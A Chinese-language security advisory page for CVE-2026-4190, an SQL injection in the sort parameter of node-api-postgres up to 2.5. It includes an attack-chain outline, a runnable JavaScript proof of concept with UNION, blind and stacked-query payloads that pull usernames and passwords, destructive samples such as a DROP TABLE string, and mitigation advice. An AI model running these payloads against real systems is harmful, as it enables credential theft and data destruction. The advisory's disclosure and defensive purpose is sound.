IPBUF安全漏洞报告
English
CVE-2026-4190 CVSS 7.3 高危

CVE-2026-4190 JawherKl node-api-postgres SQL注入漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2026-4190
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
JawherKl node-api-postgres <= 2.5

相关标签

SQL注入node-api-postgresJawherKlCVE-2026-4190Web安全数据库安全高危漏洞无需认证远程攻击

漏洞概述

CVE-2026-4190是存在于JawherKl node-api-postgres项目中的一项高危SQL注入漏洞。该漏洞影响版本从初始版本至2.5版本,攻击者可利用models/user.js文件中User.getAll函数的sort参数进行SQL注入攻击。由于该函数对用户输入的sort参数未进行充分的输入验证和过滤,攻击者可以通过构造恶意的SQL语句片段实现对数据库的非授权访问和操作。该漏洞的CVSS评分为7.3,属于高危级别,攻击向量为网络层面,攻击者无需认证即可发起攻击。漏洞已于2026年3月16日公开披露,相关的利用代码已在外部分享,厂商在收到安全通知后未做出任何回应。由于该漏洞影响Node.js生态中的数据库访问层组件,攻击者可能通过Web应用层面对数据库进行完整控制,包括数据窃取、数据篡改或进一步的横向移动。建议使用该库的项目立即进行安全评估和升级。

技术细节

该SQL注入漏洞存在于JawherKl node-api-postgres的models/user.js文件中的User.getAll函数。具体来说,该函数接收sort参数用于数据库查询排序,但未对sort参数进行严格的输入过滤和参数化查询处理。攻击者可以通过构造包含SQL语句片段的sort参数值,如"id; DROP TABLE users;--"或"1 OR 1=1"等,实现SQL注入攻击。由于该库直接使用字符串拼接方式构建SQL查询语句,恶意输入会被当作SQL代码执行。攻击者利用此漏洞可以:1)绕过认证机制访问未授权数据;2)读取数据库中的敏感信息;3)修改或删除数据库记录;4)在某些情况下实现远程代码执行。攻击可以通过HTTP请求远程发起,无需任何认证凭证。漏洞的利用复杂度较低,公开的PoC代码使得此漏洞极易被恶意利用。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标应用是否使用JawherKl node-api-postgres库,通过分析Web应用的JavaScript代码或响应特征确定目标环境
STEP 2
步骤2:漏洞探测
攻击者尝试访问包含sort参数的API端点,通过发送包含SQL语句片段的恶意请求探测是否存在SQL注入漏洞
STEP 3
步骤3:构造恶意Payload
根据探测结果,攻击者构造针对性的SQL注入Payload,如UNION注入、布尔盲注或时间盲注等技术
STEP 4
步骤4:数据提取
利用SQL注入漏洞执行恶意SQL语句,从数据库中提取敏感信息如用户凭证、业务数据等
STEP 5
步骤5:权限提升与持久化
根据提取的信息,攻击者可能进一步获取管理员权限、植入后门或进行横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-4190 PoC - SQL Injection in node-api-postgres User.getAll sort parameter // Target: JawherKl node-api-postgres <= 2.5 const axios = require('axios'); // Target configuration const targetUrl = 'http://target-server.com/api/users'; // Basic SQL Injection PoC - Extract database version async function basicInjection() { const maliciousSort = "1; SELECT version();--"; try { const response = await axios.get(targetUrl, { params: { sort: maliciousSort } }); console.log('Response:', response.data); } catch (error) { console.error('Error:', error.message); } } // Blind Boolean-based SQL Injection - Check if admin table exists async function blindInjection() { const trueCondition = "1' AND (SELECT COUNT(*) FROM admin) > 0--"; const falseCondition = "1' AND (SELECT COUNT(*) FROM nonexistent_table) > 0--"; try { const responseTrue = await axios.get(targetUrl, { params: { sort: trueCondition } }); console.log('True condition response:', responseTrue.data); const responseFalse = await axios.get(targetUrl, { params: { sort: falseCondition } }); console.log('False condition response:', responseFalse.data); } catch (error) { console.error('Error:', error.message); } } // Union-based SQL Injection - Extract users table data async function unionInjection() { const unionPayload = "1' UNION SELECT 1,2,3,username,password,6,7,8 FROM users--"; try { const response = await axios.get(targetUrl, { params: { sort: unionPayload } }); console.log('Extracted data:', response.data); } catch (error) { console.error('Error:', error.message); } } // Execute PoC (async () => { console.log('CVE-2026-4190 SQL Injection PoC'); console.log('Target:', targetUrl); console.log('---'); await basicInjection(); await blindInjection(); await unionInjection(); })();

影响范围

JawherKl node-api-postgres < 2.5
JawherKl node-api-postgres = 2.5

防御指南

临时缓解措施
在厂商未提供修复版本前,建议采取以下临时缓解措施:1)使用输入验证中间件对所有用户输入进行严格过滤;2)通过API网关限制包含可疑SQL语法的请求;3)暂时禁用或限制sort参数的功能;4)加强对数据库账户的权限控制,移除不必要的数据库写权限;5)部署实时入侵检测系统监控异常数据库查询行为;6)考虑使用ORM框架替代直接SQL查询。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表